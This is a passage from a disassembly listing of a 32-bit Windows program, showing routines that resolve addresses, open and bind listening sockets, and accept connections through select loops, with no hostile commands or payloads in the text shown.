		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------

loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------

loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DF5C	; freeaddrinfo

loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------

loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1

loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------

loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------

loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------

loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax

loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------

loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------

loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204	; setsockopt

loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------

loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------

loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------

loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------

loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------

loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------

loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------

loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------

loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax

loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32

loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------

loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax

loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6

loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------

loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------

loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------

loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------

loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------

loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax

loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11

loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------

loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax

loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------

loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax

loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------

loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------

loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------

loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------

loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax

loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0

loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------

loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax

loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67

loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------

loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------

loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------

loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------

loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------

loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------

loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh

loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------

loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DF08, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------

loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------

loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------

loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------

loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------

loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx

loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------

loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax

loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------

loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------

loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE

loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------

loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------

loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------

loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax

loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------

loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------

loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0

loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------

loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------

loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
